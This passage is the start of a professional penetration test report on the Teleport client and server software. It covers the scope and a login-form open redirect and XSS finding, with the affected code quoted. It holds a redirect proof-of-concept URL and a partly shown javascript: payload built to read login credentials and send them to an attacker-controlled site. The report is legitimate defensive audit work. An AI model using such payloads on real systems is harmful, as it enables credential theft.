Penetration Test Report (Cure53): pentest report teleport

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
Pentest-Report Teleport Client & Server 04.2017
Cure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. N. Krein, BSc. D. Weißer, J. Larsson,
Dipl.-Ing. A. Inführ
Index
Introduction
Scope
Identified Vulnerabilities
TLP-01-001 Web: Arbitrary Redirect and XSS within Login Form (High)
TLP-01-003 Web: jQuery changes signup passwords on the fly (Low)
TLP-01-004 Web: Path Injection in Backend Calls allows File Leaks (Medium)
TLP-01-005 Proxy: Account Takeover via Session Hijacking (Critical)
TLP-01-006 Server: Arbitrary File Creation potentially leads to RCE (Critical)
TLP-01-007 Server: Logging mechanism can be bypassed (Medium)
Miscellaneous Issues
TLP-01-008 Server: User enumeration via response time (Low)
TLP-01-009 SCP: Missing input validation leads to RCE via filename (Low)
Conclusions
Introduction
This report documents the findings of a penetration test and source code audit against
the Teleport software maintained by Gravitational. The assessment was carried out by
Cure53 in April 2017, specifically involving six Cure53 testers. A total of 22 days of
testing was dedicated to the completion of this test. Ultimately, the assessment led to a
discovery of nine security-relevant issues which are discussed in great detail in the later
sections of this report.
As for the approach chosen for the assessment, the involved parties agreed upon the
benefits of a white-box methodology. This means that the Cure53 team was granted full
access to all relevant sources. Furthers, the testing team was able to deploy test servers
on their own VMs. With this focus and scope in mind, Cure53 conducted extensive tests
against the VMs and Teleport instances running on these. In addition, the sources
supplied by the Gravitational team were thoroughly reviewed and audited. It should also
be noted that the parts of the software involving web frontends were specifically tested
and checked for the web-related security issues, particularly XSS, CSRF and similarly
dangerous attacks.
Cure53, Berlin · 05/01/17 1/18
Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
The assessment has proceeded smoothly and on schedule. Each spotted issue has
been directly live-reported via the Gravitational Github bug tracker. The fact that the
problems were being made instantly known while the test was still ongoing meant that
the work done on repairs and fixes could occur right away and benefit from feedback
issued by the Cure53 testers. . A dedicated shared Slack channel was further used for
an even better communication flow. Besides clear technical advantages, outstanding
communication between the in-house team at Gravitational and the Cure53 testers
ensured that all questions were answered in quick and precise manner. All these items
together contributed to this test’s heightened productivity and coverage levels.
Among the eight discoveries unveiled by the Cure53 tests, six constituted security issues
and two can be consider general weaknesses. Note that one issue was initially
addressed and documented, yet then dismissed as a false alert. Its removal from the
documentation explains the missing heading of TLP-01-002 and the numbering behind
sequent vulnerabilities documented in this report. What is more important is that fixes for
all issues were proposed and implemented by the Gravitational team soon after they
were reported. The Cure53 testers were able to verify most of the proposed approaches
prior to the tests actually concluded.
On the following pages of the report one can first find a brief description of the scope,
swiftly shifting to a case-by-case discussion of each single issue unveiled by the Cure53
testers. The documentation encompasses not only the core rationales of the issues but
rather expands to providing PoCs as well as advised mitigation strategies. Due to the
timely involvement of the Gravitational team, notes about up-to-date fix status for the
reported findings can be also consulted for the issues. In closing remarks, a general
verdict is given regarding the state of security at the Teleport software maintained by
Gravitational.
Scope
• Teleport Software
◦ https://github.com/gravitational/teleport
◦ http://gravitational.com/teleport/
• Non-Public Sources were shared with Cure53
Cure53, Berlin · 05/01/17 2/18
Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
Identified Vulnerabilities
The following sections list both vulnerabilities and implementation issues spotted during
the testing period. Note that findings are listed in a chronological order rather than by
their degree of severity and impact. The aforementioned severity rank is simply given in
brackets following the title heading for each vulnerability. Each vulnerability is
additionally given a unique identifier (e.g. TLP-01-001) for the purpose of facilitating any
future follow-up correspondence.
TLP-01-001 Web: Arbitrary Redirect and XSS within Login Form (High)
Note: This issue was reported by Cure53 while the pentest was still ongoing. The fix was
deployed by Gravitational and successfully verified by Cure53 in terms of adequacy.
General login mechanisms of the Teleport application were subjected to testing and it
was noticed that certain risk-raising possibility exists in this realm. Notably, it was found
achievable to supply an arbitrary URL to get redirected to after the login was successful.
Firstly, this leads to potential Phishing attacks, as these can be accomplished by
redirecting a possible victim to a fake login site after the first time s/he tried to submit
their credentials. Secondly, it is actually possible to trigger an XSS vulnerability that
directly allows to steal the user’s credentials and, for example, send them over to a
victim-controlled logger. The affected code parts can be seen in the following listings.
Affected File:
/web/src/app/components/user/login.jsx
Affected Code:
onLoginWithOidc(providerName){
let redirect = this.getRedirectUrl();
actions.loginWithOidc(providerName, redirect);
},
onLoginWithU2f(username, password) {
let redirect = this.getRedirectUrl();
actions.loginWithU2f(username, password, redirect);
},
onLogin(username, password, token) {
let redirect = this.getRedirectUrl();
actions.login(username, password, token, redirect);
},
getRedirectUrl() {
let loc = this.props.location;
let redirect = cfg.routes.app;
Cure53, Berlin · 05/01/17 3/18
Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
if (loc.query && loc.query.redirect_uri) {
redirect = loc.query.redirect_uri;
}
return redirect;
},
Affected File:
/web/src/app/flux/user/actions.js
Affected Code:
login(user, password, token, redirect) {
let promise = auth.login(user, password, token);
actions._handleLoginPromise(promise, redirect);
},
[...]
_handleLoginPromise(promise, redirect) {
restApiActions.start(TRYING_TO_LOGIN);
promise
.done(() => {
auth.redirect(redirect);
})
.fail(err => {
let msg = api.getErrorText(err);
restApiActions.fail(TRYING_TO_LOGIN, msg);
})
}
Affected File:
/web/src/app/services/auth.js
Affected Code:
redirect(url) {
// default URL to redirect
url = url || cfg.routes.login;
window.location = url;
},
The redirection can easily be triggered by simply supplying an arbitrary value for the
redirect_uri parameter.
Redirect PoC:
https://130.211.140.45:3080/web/login?redirect_uri=http://google.com
Cure53, Berlin · 05/01/17 4/18
Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
A more weaponized approach combined with JavaScript to trigger an actual XSS can be
seen in the following example, where the used credentials are read from the HTML form
and then passed to an attacker-controlled website.
XSS Cred Stealing PoC:
https://130.211.140.45:3080?
redirect_uri=javascript:user=document.getElementsByClassName%28%27form-control
%20required%2